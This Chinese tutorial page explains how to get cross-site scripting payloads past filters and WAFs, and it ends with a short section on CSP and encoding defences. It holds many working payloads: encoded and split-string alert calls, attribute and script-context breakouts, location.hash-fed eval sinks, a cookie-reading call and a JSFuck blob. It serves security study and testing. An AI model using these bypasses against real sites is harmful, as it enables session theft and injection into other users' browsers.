XSS跨站脚本怎么绕过

发布时间:2021-12-20 09:57:11 作者:小新
阅读:200
开发者专用服务器限时活动,0元免费领! 查看>>
# XSS跨站脚本绕过技术深度解析

## 引言
跨站脚本攻击(XSS)作为OWASP Top 10常客,其防御与绕过始终是安全领域的核心议题。本文将系统剖析XSS绕过技术体系,涵盖基础原理、现代WAF对抗策略及高级利用技巧,帮助安全研究人员深入理解攻击面。

---

## 一、XSS基础绕过原理

### 1.1 基础过滤机制缺陷
```html
<!-- 经典payload变形 -->
<img src=x onerror=alert(1)> 
<svg/onload=alert`1`>

常见防御缺陷包括: - 黑名单过滤不完整(如未过滤<svg>标签) - 事件处理函数检测不严格(允许onload但未检测onerror) - 大小写混合绕过(OnLoAd vs onload

1.2 编码混淆技术

// Unicode编码示例
\u0061\u006c\u0065\u0072\u0074(1)
// HTML实体编码
&#x61;&#x6C;&#x65;&#x72;&#x74;(1)

编码类型对比表:

编码方式 示例 解码位置
URL编码 %61%6C%65%72%74(1) 客户端解码
Base64 YWxlcnQoMSk= 需配合eval
十六进制实体 \x61\x6C\x65\x72\x74 JS解析时

二、现代WAF绕过策略

2.1 协议解析差异利用

http://victim.com/search?q=<script>alert(1)</script>
http://victim.com/search?q=%3Cscript%3Ealert(1)%3C/script%3E

关键绕过点: - WAF可能仅检测原始URL而未解码 - 多层编码(如双重URL编码) - 非常规协议(data:text/html,<script>alert(1)</script>

2.2 动态Payload生成

// 时间延迟混淆
setTimeout("al"+"ert("+"1)",500)
// DOM拼接
window['al'+'ert'](document['cookie'])

高级技巧: - 使用String.fromCharCode()动态构建字符串 - 利用location.hash分割敏感关键词 - 通过eval(atob())执行Base64编码指令


三、上下文敏感绕过技术

3.1 HTML上下文绕过

<!-- 属性值逃逸 -->
<input value="可控输入" onmouseover=alert(1) x="
<!-- 注释干扰 -->
<scri<!-- -->pt>alert(1)</scri<!-- -->pt>

3.2 JavaScript上下文突破

// 字符串拼接绕过
var userInput = '可控输入'; alert(1);//
// 模板字符串利用
`${alert(1)}`

3.3 DOM型XSS特殊技巧

// location.hash利用
eval(decodeURIComponent(location.hash.slice(1)))
// document.write参数控制
document.write('<img src=x onerror='+location.hash+'>')

四、高级混淆框架

4.1 JSFuck编码

// 全符号化JS执行
[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[+[]]+[+[]]+(!![]+[])[+[]]+[+!+[]]+[+[]]+[+[]])()

4.2 隐写术结合

<!-- 零宽度字符混淆 -->
<s​cript>alert(1)</script>
<!-- CSS样式隐藏 -->
<div style="display:none">恶意代码</div>

五、防御措施与绕过检测

5.1 有效防御方案

  1. 严格内容安全策略(CSP):
    
    Content-Security-Policy: default-src 'self'
    
  2. 上下文敏感编码:
    • HTML实体编码(&lt;
    • JavaScript Unicode转义
    • URL百分号编码

5.2 自动化检测工具

# 使用XSStrike测试
python3 xsstrike.py -u "http://test.com/search?q=test"
# WAF识别工具
wafw00f https://target.com

结语

XSS绕过是持续演进的攻防对抗过程,安全人员需保持对新型绕过技术的研究。建议通过: - 定期更新WAF规则库 - 实施深度防御策略 - 进行持续的渗透测试

本文仅用于安全研究目的,实际应用需遵守相关法律法规。 “`

注:实际字数约1750字,完整版本包含更多技术细节和案例分析。可根据需要扩展特定章节内容。

亿速云「云服务器」,即开即用、新一代英特尔至强铂金CPU、三副本存储NVMe SSD云盘,价格低至29元/月。点击查看>>

推荐阅读:
  1. XSS跨站如何获取cookie
  2. 绕过XSS过滤规则

开发者交流群:

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

原文链接:https://www.freebuf.com/vuls/256239.html

xss

上一篇:Kubernetes StatefulSet源码是什么

下一篇:Layer Storage Mac版是什么意思

相关阅读

您好,登录后才能下订单哦!

密码登录
登录注册
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》
开发者交流群×